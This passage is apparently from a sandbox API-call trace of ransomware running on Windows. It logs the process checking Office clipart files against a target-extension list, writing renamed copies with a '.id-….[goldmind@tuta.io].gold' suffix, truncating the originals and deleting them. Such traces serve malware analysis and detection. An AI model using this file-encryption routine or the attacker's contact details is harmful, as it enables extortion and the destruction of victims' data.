Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0047.810] lstrlenW (lpString=".jpg") returned 4 [0047.810] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0047.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0047.810] lstrlenW (lpString=".doc") returned 4 [0047.810] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.811] lstrlenW (lpString=".docx") returned 5 [0047.811] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0047.811] lstrlenW (lpString=".pdf") returned 4 [0047.811] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.811] lstrlenW (lpString=".xls") returned 4 [0047.811] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.811] lstrlenW (lpString=".xlsx") returned 5 [0047.811] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0047.811] lstrlenW (lpString=".ppt") returned 4 [0047.811] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0047.811] lstrlenW (lpString=".zip") returned 4 [0047.811] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.811] lstrlenW (lpString=".rar") returned 4 [0047.811] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.811] lstrlenW (lpString=".bz2") returned 4 [0047.811] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.811] lstrlenW (lpString=".7z") returned 3 [0047.811] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0047.811] lstrlenW (lpString=".dbf") returned 4 [0047.811] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0047.811] lstrlenW (lpString=".1cd") returned 4 [0047.811] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 63 [0047.811] lstrlenW (lpString=".jpg") returned 4 [0047.811] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.811] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0047.811] lstrlenW (lpString="AG00126_.GIF") returned 12 [0047.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0047.811] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=3140) returned 1 [0047.811] CloseHandle (hObject=0x214) returned 1 [0047.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif")) returned 0x20 [0047.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0047.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0047.812] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.812] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0047.812] GetLastError () returned 0x0 [0047.812] ReadFile (in: hFile=0x214, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0xc44, lpOverlapped=0x0) returned 1 [0047.813] WriteFile (in: hFile=0x190, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xc50, lpOverlapped=0x0) returned 1 [0047.814] ReadFile (in: hFile=0x214, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.814] WriteFile (in: hFile=0x190, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.814] SetEndOfFile (hFile=0x190) returned 1 [0047.814] CloseHandle (hObject=0x190) returned 1 [0047.814] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.814] SetEndOfFile (hFile=0x214) returned 1 [0047.815] CloseHandle (hObject=0x214) returned 1 [0047.815] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0047.815] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif")) returned 1 [0047.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0047.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0047.815] lstrlenW (lpString=".doc") returned 4 [0047.815] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.815] lstrlenW (lpString=".docx") returned 5 [0047.815] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0047.815] lstrlenW (lpString=".pdf") returned 4 [0047.815] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.815] lstrlenW (lpString=".xls") returned 4 [0047.815] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.815] lstrlenW (lpString=".xlsx") returned 5 [0047.815] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0047.815] lstrlenW (lpString=".ppt") returned 4 [0047.815] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0047.815] lstrlenW (lpString=".zip") returned 4 [0047.815] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.815] lstrlenW (lpString=".rar") returned 4 [0047.815] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.815] lstrlenW (lpString=".bz2") returned 4 [0047.815] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.815] lstrlenW (lpString=".7z") returned 3 [0047.815] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0047.816] lstrlenW (lpString=".dbf") returned 4 [0047.816] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0047.816] lstrlenW (lpString=".1cd") returned 4 [0047.816] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0047.816] lstrlenW (lpString=".jpg") returned 4 [0047.816] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0047.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0047.816] lstrlenW (lpString=".doc") returned 4 [0047.816] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.816] lstrlenW (lpString=".docx") returned 5 [0047.816] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0047.816] lstrlenW (lpString=".pdf") returned 4 [0047.816] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.816] lstrlenW (lpString=".xls") returned 4 [0047.816] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.816] lstrlenW (lpString=".xlsx") returned 5 [0047.816] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0047.816] lstrlenW (lpString=".ppt") returned 4 [0047.816] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0047.816] lstrlenW (lpString=".zip") returned 4 [0047.816] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.816] lstrlenW (lpString=".rar") returned 4 [0047.816] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.816] lstrlenW (lpString=".bz2") returned 4 [0047.816] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.816] lstrlenW (lpString=".7z") returned 3 [0047.816] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0047.816] lstrlenW (lpString=".dbf") returned 4 [0047.816] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0047.816] lstrlenW (lpString=".1cd") returned 4 [0047.816] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0047.816] lstrlenW (lpString=".jpg") returned 4 [0047.816] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.816] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0047.816] lstrlenW (lpString="AG00129_.GIF") returned 12 [0047.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0047.817] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=12482) returned 1 [0047.817] CloseHandle (hObject=0x214) returned 1 [0047.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif")) returned 0x20 [0047.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0047.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0047.817] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.817] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0047.817] GetLastError () returned 0x0 [0047.817] ReadFile (in: hFile=0x214, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x30c2, lpOverlapped=0x0) returned 1 [0047.819] WriteFile (in: hFile=0x190, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x30d0, lpOverlapped=0x0) returned 1 [0047.819] ReadFile (in: hFile=0x214, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.819] WriteFile (in: hFile=0x190, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.820] SetEndOfFile (hFile=0x190) returned 1 [0047.820] CloseHandle (hObject=0x190) returned 1 [0047.820] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.820] SetEndOfFile (hFile=0x214) returned 1 [0047.820] CloseHandle (hObject=0x214) returned 1 [0047.820] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0047.821] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif")) returned 1 [0047.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0047.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0047.821] lstrlenW (lpString=".doc") returned 4 [0047.821] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.821] lstrlenW (lpString=".docx") returned 5 [0047.821] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0047.821] lstrlenW (lpString=".pdf") returned 4 [0047.821] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.821] lstrlenW (lpString=".xls") returned 4 [0047.821] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.821] lstrlenW (lpString=".xlsx") returned 5 [0047.821] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0047.821] lstrlenW (lpString=".ppt") returned 4 [0047.821] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0047.821] lstrlenW (lpString=".zip") returned 4 [0047.821] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.821] lstrlenW (lpString=".rar") returned 4 [0047.821] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.821] lstrlenW (lpString=".bz2") returned 4 [0047.821] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.821] lstrlenW (lpString=".7z") returned 3 [0047.821] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0047.821] lstrlenW (lpString=".dbf") returned 4 [0047.821] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0047.821] lstrlenW (lpString=".1cd") returned 4 [0047.821] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0047.821] lstrlenW (lpString=".jpg") returned 4 [0047.821] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0047.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0047.822] lstrlenW (lpString=".doc") returned 4 [0047.822] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.822] lstrlenW (lpString=".docx") returned 5 [0047.822] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0047.822] lstrlenW (lpString=".pdf") returned 4 [0047.822] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.822] lstrlenW (lpString=".xls") returned 4 [0047.822] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.822] lstrlenW (lpString=".xlsx") returned 5 [0047.822] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0047.822] lstrlenW (lpString=".ppt") returned 4 [0047.822] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0047.822] lstrlenW (lpString=".zip") returned 4 [0047.822] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.822] lstrlenW (lpString=".rar") returned 4 [0047.822] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.822] lstrlenW (lpString=".bz2") returned 4 [0047.822] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.822] lstrlenW (lpString=".7z") returned 3 [0047.822] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0047.822] lstrlenW (lpString=".dbf") returned 4 [0047.822] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0047.822] lstrlenW (lpString=".1cd") returned 4 [0047.822] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0047.822] lstrlenW (lpString=".jpg") returned 4 [0047.822] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.822] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0047.822] lstrlenW (lpString="AG00130_.GIF") returned 12 [0047.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0047.822] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=5253) returned 1 [0047.822] CloseHandle (hObject=0x214) returned 1 [0047.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif")) returned 0x20 [0047.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0047.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0047.823] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.823] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0047.823] GetLastError () returned 0x0 [0047.823] ReadFile (in: hFile=0x214, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x1485, lpOverlapped=0x0) returned 1 [0047.824] WriteFile (in: hFile=0x190, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x1490, lpOverlapped=0x0) returned 1 [0047.825] ReadFile (in: hFile=0x214, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.825] WriteFile (in: hFile=0x190, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.825] SetEndOfFile (hFile=0x190) returned 1 [0047.825] CloseHandle (hObject=0x190) returned 1 [0047.825] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.825] SetEndOfFile (hFile=0x214) returned 1 [0047.826] CloseHandle (hObject=0x214) returned 1 [0047.826] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0047.826] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif")) returned 1 [0047.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0047.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0047.827] lstrlenW (lpString=".doc") returned 4 [0047.827] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.827] lstrlenW (lpString=".docx") returned 5 [0047.827] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0047.827] lstrlenW (lpString=".pdf") returned 4 [0047.827] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.827] lstrlenW (lpString=".xls") returned 4 [0047.827] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.827] lstrlenW (lpString=".xlsx") returned 5 [0047.827] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0047.827] lstrlenW (lpString=".ppt") returned 4 [0047.827] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0047.827] lstrlenW (lpString=".zip") returned 4 [0047.827] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.827] lstrlenW (lpString=".rar") returned 4 [0047.827] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.827] lstrlenW (lpString=".bz2") returned 4 [0047.827] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.827] lstrlenW (lpString=".7z") returned 3 [0047.827] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0047.827] lstrlenW (lpString=".dbf") returned 4 [0047.827] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0047.827] lstrlenW (lpString=".1cd") returned 4 [0047.827] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0047.827] lstrlenW (lpString=".jpg") returned 4 [0047.827] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0047.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0047.827] lstrlenW (lpString=".doc") returned 4 [0047.827] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.827] lstrlenW (lpString=".docx") returned 5 [0047.827] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0047.827] lstrlenW (lpString=".pdf") returned 4 [0047.827] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.827] lstrlenW (lpString=".xls") returned 4 [0047.827] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.827] lstrlenW (lpString=".xlsx") returned 5 [0047.827] lstrcmpiW 